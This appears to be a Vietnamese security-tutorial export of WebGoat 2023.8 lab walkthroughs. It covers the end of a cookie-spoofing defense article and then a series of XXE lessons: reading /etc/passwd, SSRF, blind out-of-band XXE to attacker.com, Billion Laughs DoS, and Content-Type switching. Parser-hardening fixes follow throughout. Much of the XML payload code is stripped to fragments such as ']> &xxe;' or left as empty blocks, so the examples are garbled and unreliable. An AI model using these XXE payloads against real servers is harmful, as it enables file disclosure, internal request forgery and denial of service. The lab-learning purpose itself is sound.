hashlib.sha256).digest() cookie_value = base64.b64encode(message + signature) print(cookie_value) [/code] ✅ Lợi ích: ✔️ Nếu hacker thay đổi `webgoat` thành `tom`, chữ ký số sẽ không hợp lệ! ✔️ Hệ thống sẽ từ chối cookie giả mạo. ### 🔹 4. Giới hạn thời gian sống của cookie (Session Expiration) 🔐 Giải pháp: ✔️ Hạn chế thời gian sống của cookie → Nếu bị đánh cắp, nó cũng hết hạn sớm. ✔️ Xóa session trên server khi user đăng xuất. 🚀 Ví dụ: Đặt thời gian hết hạn cho cookie [code http] Set-Cookie: sessionId=abc123; Secure; HttpOnly; Expires=Wed, 21 Oct 2025 07:28:00 GMT; [/code] ✅ Lợi ích: ✔️ Giảm nguy cơ hacker sử dụng cookie cũ để đăng nhập. ### 🔹 5. Kiểm tra thiết bị & địa chỉ IP khi xác thực 🔐 Giải pháp: ✔️ Ghi lại thông tin thiết bị, địa chỉ IP khi tạo session. ✔️ Nếu IP hoặc User-Agent thay đổi đột ngột, yêu cầu xác thực lại. 🚀 Ví dụ: Kiểm tra IP & User-Agent [code python] if request.cookies.get('sessionId') and (request.remote_addr != saved_ip or request.user_agent != saved_ua): logout_user() [/code] ✅ Lợi ích: ✔️ Ngăn hacker sử dụng cookie từ một thiết bị khác. ## 🔎 Kết luận: Cách bảo vệ hệ thống | ❌ Lỗi phổ biến | ✅ Giải pháp bảo mật | |----------------|------------------| | Lưu username trực tiếp trong cookie | Chỉ lưu session ID, không lưu thông tin nhạy cảm trong cookie | | Không ký cookie | Dùng HMAC-SHA256 hoặc JWT để đảm bảo cookie không bị giả mạo | | Không kiểm tra tính toàn vẹn của cookie | Kiểm tra chữ ký số trước khi chấp nhận cookie | | Cookie không có thời gian hết hạn | Thiết lập `Expires` hoặc `Max-Age` để giới hạn thời gian sống của cookie | | Không kiểm tra IP/User-Agent khi xác thực | Xác minh IP và thiết bị để phát hiện đăng nhập bất thường | 🚀 Bảo mật authentication cookie rất quan trọng! ✔️ Nếu cookie không an toàn, hacker có thể đăng nhập vào hệ thống dễ dàng. ✔️ Luôn mã hóa, ký và kiểm tra tính toàn vẹn của authentication cookie. ✔️ Bảo vệ hệ thống ngay từ bây giờ để tránh bị hack! 🔐 Xem chi tiết tại đây (https://docs.cycubix.com/application-security-series/web-application-security-essentials/solutions/a5-broken-access-control/a1-2021-or-spoofing-an-authentication-cookie-or-cycubix-docs/a1-2021-or-spoofing-an-authentication-cookie-2-or-cycubix-docs). ============================================================================ # 1.01 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-01 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-01.md Description: Bài viết này sẽ hướng dẫn cách tấn công XXE trên WebGoat 2023.8 Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > 🛡 XML External Entity (XXE) Attack ## 🔥 1. Khái niệm XXE (XML External Entity Attack) là một lỗ hổng bảo mật khi ứng dụng xử lý XML mà không vô hiệu hóa thực thể bên ngoài (external entity). Hacker có thể khai thác để: - Đọc file trên server - Rò rỉ thông tin nhạy cảm - Thực hiện Server-Side Request Forgery (SSRF) - Tấn công DoS ## 🛠 2. Cách thức hoạt động của XXE Khi một XML parser cho phép external entity, hacker có thể chèn payload để truy xuất dữ liệu từ server. Ví dụ, một ứng dụng nhận XML từ user: [code xml] ]> &xxe; [/code] Nếu server xử lý XML mà không tắt external entity, nó sẽ thay `&xxe;` bằng nội dung file `/etc/passwd`. Luồng dữ liệu của một lần khai thác cơ bản như sau: File gốc: nền sáng · nền tối ## 🚀 3. Tấn công XXE ### (1) Đọc file từ server Gửi XML với entity trỏ đến file hệ thống: [code xml] ]> &file; [/code] Nếu bị khai thác, response sẽ chứa nội dung file `/etc/passwd`. ### (2) SSRF Attack (Tấn công dịch vụ nội bộ) Dùng XXE để gửi request đến nội bộ hệ thống: [code xml] ]> &xxe; [/code] Nếu server có API nội bộ trên `localhost/admin`, hacker có thể khai thác nó. ### (3) DoS Attack (Billion Laughs Attack) Dùng recursion để tạo vô số entity gây crash server: [code xml] ]> &lol3; [/code] ## 🛡 4. Cách phòng chống XXE ✅ Vô hiệu hóa DTD & external entity trong XML parser Trong Java: [code java] DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); [/code] Trong .NET: [code csharp] XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; [/code] ✅ Sử dụng JSON thay vì XML JSON không có entity nên an toàn hơn. ✅ Giới hạn quyền đọc file trên server Dùng `chroot`, SELinux hoặc AppArmor để giới hạn phạm vi đọc file. ✅ Dùng WAF (Web Application Firewall) Chặn payload chứa ` 🔍 XML Entities & XXE Injection ## 📌 1. XML Entity là gì? Trong XML, Entity là các thành phần có thể thay thế bằng nội dung cụ thể khi XML được parse. Có 3 loại chính: 1️⃣ Internal Entity – Được định nghĩa trong DTD, chỉ sử dụng trong tài liệu XML. 2️⃣ External Entity – Tham chiếu đến dữ liệu bên ngoài như file hệ thống hoặc URL. 3️⃣ Parameter Entity – Được sử dụng trong nội bộ DTD để tái sử dụng nội dung. Ví dụ về Internal Entity: [code xml] ]> &js; [/code] Khi XML parser xử lý, `&js;` sẽ được thay thế bằng `"Jo Smith"`. ## 🔥 2. XML Parser và cách thức hoạt động Hệ thống sử dụng XML parsers để xử lý XML và có thể tự động ánh xạ dữ liệu vào các đối tượng trong ứng dụng. Ví dụ trong Java: [code java] @XmlRootElement class User { public String name; } [/code] Ứng dụng có thể nhận XML từ client và chuyển thành đối tượng `User`. ## 🚨 3. XXE Injection là gì? XXE (XML External Entity Injection) là kỹ thuật tấn công khi ứng dụng xử lý XML đầu vào mà không vô hiệu hóa External Entity. Điều này có thể dẫn đến: ✔ Đọc file nhạy cảm (`/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`) ✔ Tấn công DoS (bằng "Billion Laughs Attack") ✔ SSRF (yêu cầu đến API nội bộ, dịch vụ cloud) ✔ Quét cổng và pivoting (sử dụng ứng dụng làm cầu nối đến hệ thống khác) ✔ Thực thi mã độc (nếu XML parser có lỗi bộ nhớ) ## 💣 4. Các dạng XXE tấn công phổ biến ### 🔹 1. Classic XXE (Tiết lộ file hệ thống) Payload đọc `/etc/passwd`: [code xml] ]> &file; [/code] ⏩ Nếu server không chặn External Entity, nó sẽ trả về nội dung file `/etc/passwd`. ### 🔹 2. Blind XXE (Không có phản hồi trực tiếp) Nếu ứng dụng không hiển thị lỗi hoặc nội dung file, hacker có thể dùng out-of-band (OOB) attack: [code xml] ]> &xxe; [/code] ⏩ Nếu server gửi request đến `attacker.com`, hacker biết hệ thống bị dính XXE. ### 🔹 3. Error-based XXE Lợi dụng lỗi xử lý XML để rò rỉ dữ liệu qua thông báo lỗi: [code xml] "> ]> &file; [/code] ⏩ Nếu parser phản hồi lỗi chứa nội dung file, hacker có thể khai thác. ## 🛡 5. Cách phòng chống XXE ✅ Vô hiệu hóa DTD & External Entity trong XML Parser Trong Java: [code java] DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); [/code] Trong .NET: [code csharp] XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; [/code] ✅ Dùng JSON thay vì XML JSON không hỗ trợ entity → an toàn hơn. ✅ Hạn chế quyền truy cập file trên server Dùng chroot, SELinux để giới hạn truy cập file hệ thống. ✅ Sử dụng WAF (Web Application Firewall) Chặn payload chứa ` 🚨 XXE Injection Example ## 📌 1. Ví dụ về XML Entity Như đã biết, một Entity có thể được khai báo trong DTD như sau: [code xml] ]> &js; [/code] ✅ Khi XML parser xử lý, `&js;` sẽ được thay thế bằng `"Jo Smith"`. ## 🔥 2. External DTD Declaration (Tập tin DTD bên ngoài) Chúng ta có thể khai báo một DTD bên ngoài bằng cách sử dụng `SYSTEM` reference, ví dụ: 📌 Tập tin XML chính (`email.xml`) [code xml] webgoat@webgoat.org webwolf@webwolf.org Your app is great, but contains flaws Hi, your application contains some SQL injections [/code] 📌 Tập tin `email.dtd` [code xml] [/code] ✅ Khi `email.xml` được xử lý, nó sẽ tham chiếu đến `email.dtd` để xác định cấu trúc hợp lệ. ## 🚨 3. XXE Injection – Đọc file hệ thống Nếu parser cho phép external entities, hacker có thể khai thác để đọc file hệ thống. 📌 Payload XXE để đọc `/etc/passwd` [code xml] ]> &js; [/code] ✅ Khi parser xử lý, nó sẽ thay `&js;` bằng nội dung của `/etc/passwd`, làm rò rỉ thông tin hệ thống. 📌 Phản hồi của server có thể là: [code xml] root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... [/code] 📌 Trên Windows, hacker có thể thay đổi payload thành: [code xml] [/code] ## 🛡 4. Cách phòng chống XXE ✅ Vô hiệu hóa DTD và External Entities - Trong Java: [code java] DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); [/code] - Trong .NET: [code csharp] XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; [/code] ✅ Dùng JSON thay thế XML ✅ Giới hạn quyền truy cập file hệ thống ✅ Dùng WAF để chặn payload chứa ` 🛠 XXE Injection - Thử nghiệm khai thác ## 📌 1. Mục tiêu của bài thực hành - Gửi bình luận trên ảnh và thử thực hiện XXE Injection. - Mục tiêu: liệt kê thư mục gốc (`/` trên Linux, `C:\` trên Windows). - Dùng Burp Suite, ZAP Proxy hoặc DevTools để phân tích request. ## 🔥 2. Cách thực hiện ### 📌 Bước 1: Gửi bình luận bình thường Trước tiên, thử gửi một bình luận bình thường để xem request được gửi như thế nào. Ví dụ: [code xml] I am a cat [/code] 🔍 Phân tích format XML của request này. ### 📌 Bước 2: Dùng Burp/ZAP để chặn request 1. Mở Burp Suite hoặc ZAP. 2. Bật Intercept Mode (Burp) hoặc Breakpoint (ZAP). 3. Gửi một bình luận. 4. Phân tích request được gửi đi. ### 📌 Bước 3: Thay đổi request để thực hiện XXE Injection 👉 Thay đổi phần `text` thành: [code xml] ]> &xxe; [/code] 📌 Giải thích: - ``: Khai báo DOCTYPE để có thể sử dụng `ENTITY`. - ``: Định nghĩa một entity để đọc thư mục gốc `/`. - ` &xxe; `: Chèn entity vào nội dung bình luận. ## 🔎 3. Kiểm tra phản hồi của server - Nếu server trả về danh sách thư mục (`bin, etc, home, root...`), XXE Injection thành công. - Nếu không có phản hồi hoặc có lỗi, có thể server đã vô hiệu hóa DTD hoặc bảo vệ XXE. ## 🚨 4. Phòng chống XXE ✅ Vô hiệu hóa DOCTYPE trong XML parser ✅ Không cho phép đọc external entities (`SYSTEM "file:///"`) ✅ Sử dụng JSON thay vì XML nếu có thể ✅ Dùng WAF để phát hiện payload chứa ` [/code] ============================================================================ # 1.05 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-05 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-05.md Description: Chặn request bằng Burp Suite/ZAP Proxy, sau đó thay thế body như sau: Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > 🛠 XXE Injection - Giải pháp hoàn chỉnh ## 🎯 Mục tiêu bài tập - Liệt kê thư mục gốc của hệ thống bằng XXE Injection. - Phát hiện và bypass cơ chế kiểm tra đầu vào của WebGoat. - Chặn và chỉnh sửa request HTTP để thực hiện tấn công. ## 🔥 1. Phân tích yêu cầu ### 📌 Request ban đầu khi gửi comment bình thường [code http] POST /WebGoat/xxe/simple Content-Type: application/xml This is my first comment, nice picture [/code] 👉 Nhận xét: - Request được gửi dưới dạng XML. - Comment được hiển thị trên trang web sau khi gửi. - Chúng ta cần chỉnh sửa request này để thực hiện XXE Injection. ## 🚀 2. Thực hiện XXE Injection ### 📌 Cách gửi payload XXE Chặn request bằng Burp Suite/ZAP Proxy, sau đó thay thế body như sau: [code http] POST /WebGoat/xxe/simple Content-Type: application/xml ]> &root; [/code] ✅ Giải thích: - ``: Khai báo DOCTYPE để sử dụng entities. - ``: Đọc thư mục gốc của hệ thống. - ` &root; `: Chèn nội dung thư mục vào phản hồi. ## ❌ 3. Lỗi gặp phải và cách bypass Nếu dán trực tiếp payload vào ô nhập comment, ta nhận được lỗi: [code json] { "lessonCompleted" : false, "feedback" : "Sorry the solution is not correct, please try again.", "output" : "...javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,44]\\nMessage: The processing instruction target matching \\\"[xX][mM][lL]\\\" is not allowed.]" } [/code] 👉 Lý do: - JavaScript trên trang web tự động bọc nội dung input vào cặp ` ... `. - Điều này khiến XML của chúng ta bị lỗi khi gửi đi. ## 🛠 4. Cách khắc phục ✅ Dùng Burp Suite hoặc ZAP để chặn và chỉnh sửa request: 1. Bật Intercept Mode trong Burp/ZAP. 2. Gửi một comment bình thường. 3. Chỉnh sửa request trong Intercept và thay thế toàn bộ body bằng payload XXE. 4. Gửi lại request và kiểm tra phản hồi. ## 🎯 5. Kiểm tra phản hồi - Nếu request thành công, server sẽ trả về danh sách thư mục gốc (`bin, etc, home...`). - Nếu không, server có thể đã vô hiệu hóa XXE, cần thử cách khác. ## 🛡 6. Cách phòng chống XXE - Vô hiệu hóa DOCTYPE trong XML parser. - Không cho phép đọc external entities (`SYSTEM "file:///"`). - Sử dụng JSON thay vì XML nếu có thể. - Dùng WAF để phát hiện payload XXE. ============================================================================ # 1.06 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-06 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-06.md Description: Parser có bị ảnh hưởng bởi XXE không? ✅ Có sử dụng XMLInputFactory.newInstance() mà không vô hiệu hóa thực thể bên ngoài không? ✅ Có thuộc tính. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > 🔍 Phát hiện XXE qua Code Review ## 🎯 Mục tiêu - Tìm hiểu tại sao XXE xảy ra trong các ứng dụng Java. - Phân tích mã nguồn để phát hiện lỗ hổng XXE. - Xác định cách cấu hình XML parser sao cho an toàn. ## 🛠 1. Phân tích mã nguồn chứa lỗ hổng 📌 Đoạn mã cấu hình `XmlMapper` [code java] public XmlMapper xmlMapper() { return new XmlMapper(XMLInputFactory.newInstance()); } [/code] ❌ Vấn đề: - Hàm này khởi tạo trực tiếp `XMLInputFactory.newInstance()` mà không tắt các thuộc tính nguy hiểm. - Mặc định, trình phân tích cho phép các thực thể bên ngoài (External Entities). 👉 Câu hỏi: Parser này có an toàn không? 🔍 Đi sâu vào mã nguồn của Jackson `XmlMapper`: [code java] public XmlMapper(XMLInputFactory inputF) { this(new XmlFactory(inputF)); } [/code] - Hàm khởi tạo `XmlMapper` gọi tiếp `XmlFactory`. - `XmlFactory` nhận `XMLInputFactory` từ bên ngoài`. ## 🛠 2. Phân tích sâu hơn - `XmlFactory` [code java] public XmlFactory(XMLInputFactory xmlIn) { this(xmlIn, null); } protected XmlFactory(XMLInputFactory xmlIn, XMLOutputFactory xmlOut, ...) { if (xmlIn == null) { xmlIn = XMLInputFactory.newInstance(); // Tắt thực thể bên ngoài (chỉ khi xmlIn == null) xmlIn.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE); xmlIn.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE); } } [/code] 🚨 Phát hiện lỗ hổng: - `xmlIn == null` sẽ không xảy ra, vì `XMLInputFactory.newInstance()` đã được truyền vào. - Do đó, các thuộc tính an toàn không được thiết lập → XXE Injection vẫn có thể xảy ra. ## ✅ 3. Cách phòng chống 💡 Spring Boot đã khắc phục lỗi như thế nào? [code java] public ObjectMapper create() { return new XmlMapper(xmlInputFactory()); } private static XMLInputFactory xmlInputFactory() { XMLInputFactory inputFactory = XMLInputFactory.newInstance(); inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); inputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); return inputFactory; } [/code] 🔒 Giải pháp an toàn: - Tạo `XMLInputFactory` trong một method riêng (`xmlInputFactory()`). - Tắt `SUPPORT_DTD` và `IS_SUPPORTING_EXTERNAL_ENTITIES` ngay khi khởi tạo. ## 🔥 4. Cách kiểm tra parser có an toàn không? 🔍 Câu hỏi cần đặt ra khi review code ✅ Parser có bị ảnh hưởng bởi XXE không? ✅ Có sử dụng `XMLInputFactory.newInstance()` mà không vô hiệu hóa thực thể bên ngoài không? ✅ Có thuộc tính `IS_SUPPORTING_EXTERNAL_ENTITIES = false` không? ✅ Có thuộc tính `SUPPORT_DTD = false` không? ## 🛡 5. Tài liệu tham khảo 📌 OWASP XXE Prevention Cheat Sheet (https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) 📌 Jackson XML Deserialization Security (https://github.com/FasterXML/jackson-dataformat-xml) ============================================================================ # 1.07 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-07 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-07.md Description: Trong trường hợp sử dụng Windows, bạn có thể thay đổi đường dẫn file C:\\Windows\\System32\\drivers\\etc\\hosts thay cho /etc/passwd để kiểm tra. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > 🚀 XXE Attack trong Modern REST API #### 🎯 Mục tiêu - Khai thác lỗ hổng XXE trên REST API hiện đại. - Thực hiện XML Injection bằng cách thay đổi `Content-Type`. - Phát hiện và bảo vệ API khỏi XXE. ## 🔍 1. Phân tích bài toán - API đang xử lý JSON (`Content-Type: application/json`). - Nếu API cũng hỗ trợ XML mà không kiểm soát đúng cách, có thể bị XXE Attack. - Mục tiêu: Chuyển đổi request từ JSON sang XML và thực hiện XXE Injection. Cơ chế XXE trên REST API hiện đại: ép API xử lý XML bằng cách đổi Content-Type rồi chèn external entity. [code mermaid] sequenceDiagram participant A as Attacker participant S as REST API WebGoat A->>S: POST /xxe/simple - Content-Type application/json Note over A,S: Request hợp lệ bình thường A->>S: Đổi Content-Type sang application/xml + chèn DOCTYPE và ENTITY Note over S: Parser XML không tắt external entity S->>S: Thay entity xxe bằng nội dung file:///etc/passwd S-->>A: Phản hồi chứa nội dung file - XXE thành công [/code] ## 🛠 2. Thử nghiệm tấn công XXE ### 🔎 2.1. Kiểm tra request gốc (JSON) Request hợp lệ khi gửi bình luận: [code http] POST /WebGoat/xxe/simple Content-Type: application/json { "text": "This is a safe comment" } [/code] 👉 Dữ liệu được xử lý bình thường. ### 🚨 2.2. Tấn công XXE (Chuyển JSON -> XML) Sử dụng Burp Suite, ZAP hoặc DevTools để thay đổi request: #### 🛑 Chỉnh sửa Header & Body [code http] POST /WebGoat/xxe/simple Content-Type: application/xml ]> &xxe; [/code] 🕵 Mục đích: - Thay đổi `Content-Type` từ JSON sang XML. - Thêm một thực thể `xxe` trỏ đến file hệ thống. - Nếu API dễ bị tấn công, nó sẽ trả về nội dung file `/etc/passwd` (Linux). Trong trường hợp sử dụng Windows, bạn có thể thay đổi đường dẫn file `C:\Windows\System32\drivers\etc\hosts` thay cho `/etc/passwd` để kiểm tra. #### 📌 Nếu API dễ bị tấn công, phản hồi có thể là: [code json] { "lessonCompleted": false, "feedback": "Your comment: root:x:0:0:...", "output": "User details leaked!" } [/code] 👉 Lỗ hổng XXE đã khai thác thành công! ## 🔎 3. Vì sao API bị tấn công? ### ⚠️ Sai sót trong xử lý XML #### ❌ Cấu hình không an toàn trong Spring Boot [code java] public XmlMapper xmlMapper() { return new XmlMapper(XMLInputFactory.newInstance()); } [/code] 🚨 Lỗi: - Sử dụng `XMLInputFactory.newInstance()` trực tiếp mà không chặn các thực thể XML. - Không tắt `SUPPORT_DTD` và `IS_SUPPORTING_EXTERNAL_ENTITIES` → Dễ bị XXE! ## ✅ 4. Cách phòng chống XXE ### 🛡 4.1. Cấu hình XML Parser an toàn [code java] private static XMLInputFactory secureXmlInputFactory() { XMLInputFactory factory = XMLInputFactory.newInstance(); factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); return factory; } public XmlMapper xmlMapper() { return new XmlMapper(secureXmlInputFactory()); } [/code] 📌 Cách fix: - Tạo `XMLInputFactory` riêng và tắt các thực thể XML. - Không sử dụng `XMLInputFactory.newInstance()` trực tiếp. ### 🛡 4.2. Các biện pháp bảo vệ khác | 🔍 Biện pháp | ✅ Mô tả | |----------------|-------------| | Tắt DTD và External Entities | `SUPPORT_DTD = false`, `IS_SUPPORTING_EXTERNAL_ENTITIES = false` | | Giới hạn định dạng input | Chỉ chấp nhận JSON nếu không cần XML | | Dùng thư viện an toàn | Dùng `Jackson`, `DOM/SAX Parser` với cấu hình bảo mật | | Giới hạn kích thước XML input | Tránh tấn công DoS với XML Bomb | | Dùng JSON thay vì XML | Hạn chế hỗ trợ XML nếu không cần thiết | ## 🔥 5. Kết luận - API REST hiện đại có thể bị tấn công XXE nếu hỗ trợ XML không đúng cách. - Tấn công bằng cách thay đổi `Content-Type` và chèn thực thể XML. - Luôn kiểm tra cẩn thận và cấu hình XML parser an toàn. - Ưu tiên JSON nếu không cần thiết hỗ trợ XML. 📌 Tham khảo: OWASP XXE Prevention Cheat Sheet (https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) 🚀 ============================================================================ # 1.08 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-08 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-08.md Description: Bài tập này kiểm tra xem API có bị tấn công XXE (XML External Entity) hay không. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > XXE Injection – Assignment Solution ## 1. Mục tiêu bài tập Bài tập này kiểm tra xem API có bị tấn công XXE (XML External Entity) hay không. - Ứng dụng có vẻ chỉ chấp nhận JSON, nhưng nếu ta thử gửi XML, API có thể vẫn xử lý được. - Nếu ứng dụng sử dụng trình phân tích XML mà không bảo vệ đúng cách, có thể khai thác để đọc file từ hệ thống backend. ## 2. Phân tích request ban đầu Khi nhập một comment vào ứng dụng, nó gửi request sau: [code http] POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1 Content-Type: application/json {"text":"My first comment"} [/code] Đây là một request hợp lệ và API xử lý bình thường. ## 3. Thử đổi Content-Type sang XML nhưng vẫn gửi JSON Bây giờ thử đổi `Content-Type` thành `application/xml` nhưng vẫn gửi JSON: [code http] POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1 Content-Type: application/xml {"text":"My first comment"} [/code] 💥 Lỗi nhận được: [code] javax.xml.bind.UnmarshalException\n - with linked exception: [javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,1] Message: Content is not allowed in prolog. [/code] 🔍 Phân tích lỗi: - API đang dùng trình phân tích XML, nhưng ta lại gửi JSON. - JSON bắt đầu bằng `{`, trong khi XML mong đợi ký tự `<`, dẫn đến lỗi parse. ## 4. Gửi request XML hợp lệ Thay vì JSON, ta gửi một request XML hợp lệ: [code http] POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1 Content-Type: application/xml This is my first message [/code] 💥 Lỗi nhận được: [code] javax.xml.bind.UnmarshalException\n - with linked exception: [com.sun.istack.SAXParseException2; lineNumber: 1; columnNumber: 7; unexpected element (uri:"", local:"text"). Expected elements are <{}comment>] [/code] 🔍 Phân tích lỗi: - API mong đợi thẻ ` `, nhưng ta chỉ gửi ` `. ✔ Sửa lại request theo đúng format mong đợi: [code http] POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1 Content-Type: application/xml This is my first message [/code] ✅ Kết quả: API xử lý thành công và comment hiển thị trên WebGoat. ## 5. Tấn công XXE Injection Nếu trình phân tích XML không chặn DOCTYPE, ta có thể khai thác XXE để đọc file hệ thống. 🚨 Payload XXE Injection: [code http] POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1 Content-Type: application/xml ]> &root; This is my first message [/code] 💥 Giải thích payload: 1. DOCTYPE user: Định nghĩa một thực thể (entity) tên `root`. 2. SYSTEM "file:///etc/passwd": Trỏ entity `root` đến file `/etc/passwd` trên máy chủ backend. 3. &root;: Khi API xử lý XML, nó thay `&root;` bằng nội dung của file `/etc/passwd`. ## 6. Kết quả mong đợi khi khai thác XXE Nếu hệ thống dễ bị tấn công, phản hồi có thể chứa nội dung `/etc/passwd` như: [code xml] root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... [/code] 📌 Nếu request bị chặn: - Một số firewall của công ty có thể phát hiện payload này và chặn request. - Nhưng nếu dùng HTTPS, request sẽ được mã hóa và có thể vượt qua bảo vệ mạng. ## 7. Phòng chống XXE Injection ### 1️⃣ Cấu hình trình phân tích XML an toàn Trong Java (Spring Boot), tắt `DOCTYPE` và `ENTITY` khi parse XML: [code java] DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder builder = factory.newDocumentBuilder(); [/code] ### 2️⃣ Chuyển sang JSON thay vì XML Nếu ứng dụng không cần XML, nên chỉ hỗ trợ JSON để tránh rủi ro. ### 3️⃣ Kiểm tra dữ liệu đầu vào - Dùng whitelist để chỉ cho phép các thẻ XML hợp lệ. - Chặn mọi request có ``. ## 8. Kết luận - XXE Injection có thể khai thác lỗ hổng của API để đọc file hệ thống. - Thử nghiệm trên WebGoat: - Đổi `Content-Type` sang XML để kiểm tra xem API có xử lý XML không. - Gửi payload XXE để kiểm tra khả năng đọc file hệ thống. - Phòng chống: - Tắt hỗ trợ `DOCTYPE` và `ENTITY`. - Chỉ hỗ trợ JSON nếu có thể. - Kiểm tra chặt chẽ dữ liệu đầu vào. ============================================================================ # 1.09 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-09 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-09.md Description: Trong bài trước, ta đã thấy XXE Injection có thể được dùng để đọc file hệ thống. Nhưng ngoài việc đọc dữ liệu, XXE cũng có thể gây tấn công từ chối dịch vụ. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > XXE DoS Attack – Billion Laughs Attack ## 1. Giới thiệu về tấn công XXE DoS Trong bài trước, ta đã thấy XXE Injection có thể được dùng để đọc file hệ thống. Nhưng ngoài việc đọc dữ liệu, XXE cũng có thể gây tấn công từ chối dịch vụ (DoS – Denial of Service). 💡 Một trong những kỹ thuật phổ biến để tấn công DoS thông qua XXE là Billion Laughs Attack. Billion Laughs: mỗi thực thể tham chiếu 10 lần thực thể trước, nên 9 tầng lồng nhau bùng nổ thành hàng tỷ chuỗi. [code mermaid] flowchart TD L["lol = 'lol'"] --> L1["lol1 = 10 lần lol"] L1 --> L2["lol2 = 10 lần lol1"] L2 --> L3["... các tầng trung gian ..."] L3 --> L9["lol9 = 10 lần lol8, khoảng 1 tỷ chuỗi lol"] L9 --> M["Parser mở rộng entity lol9 tới gần 3GB bộ nhớ"] M --> C["Server hết RAM và crash - DoS"] [/code] ## 2. Cách hoạt động của Billion Laughs Attack Đây là payload XML thực hiện tấn công: [code xml] ]> &lol9; [/code] 📌 Phân tích cách hoạt động 1. Khai báo thực thể (`ENTITY`) lồng nhau: - `&lol;` = `"lol"` - `&lol1;` = `10 x &lol;` - `&lol2;` = `10 x &lol1;` - `&lol3;` = `10 x &lol2;` - … - `&lol9;` = `10 x &lol8;` 2. Tổng dung lượng khi mở rộng thực thể: - Dữ liệu XML ban đầu chỉ vài trăm byte. - Sau khi mở rộng thực thể, nó chiếm gần 3GB bộ nhớ. - Server có thể bị crash vì hết bộ nhớ. ## 3. Thử nghiệm với WebGoat Gửi request chứa payload Billion Laughs Attack: [code http] POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1 Content-Type: application/xml ]> &lol9; [/code] 🛑 Kết quả mong đợi: - Nếu hệ thống dễ bị tấn công, server có thể bị crash do hết bộ nhớ. - Nếu hệ thống đã có bảo vệ, nó sẽ từ chối request với lỗi: [code] javax.xml.stream.XMLStreamException: Maximum entity expansion limit reached [/code] ## 4. Biện pháp phòng chống XXE DoS ### 1️⃣ Tắt hỗ trợ ENTITY trong XML Parser Trong Java, có thể chặn ENTITY để ngăn tấn công XXE: [code java] DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); DocumentBuilder builder = factory.newDocumentBuilder(); [/code] ### 2️⃣ Giới hạn số lần mở rộng thực thể Một số thư viện cho phép đặt giới hạn số lần mở rộng thực thể để tránh lặp vô hạn. Trong Python với `lxml`: [code python] from lxml import etree parser = etree.XMLParser(resolve_entities=False) # Chặn mở rộng ENTITY xml_data = ']>&x;' etree.fromstring(xml_data, parser) # Không bị XXE [/code] Trong Spring Boot, có thể cấu hình `JacksonXmlModule`: [code java] JacksonXmlModule module = new JacksonXmlModule(); module.setDefaultUseWrapper(false); XmlMapper xmlMapper = new 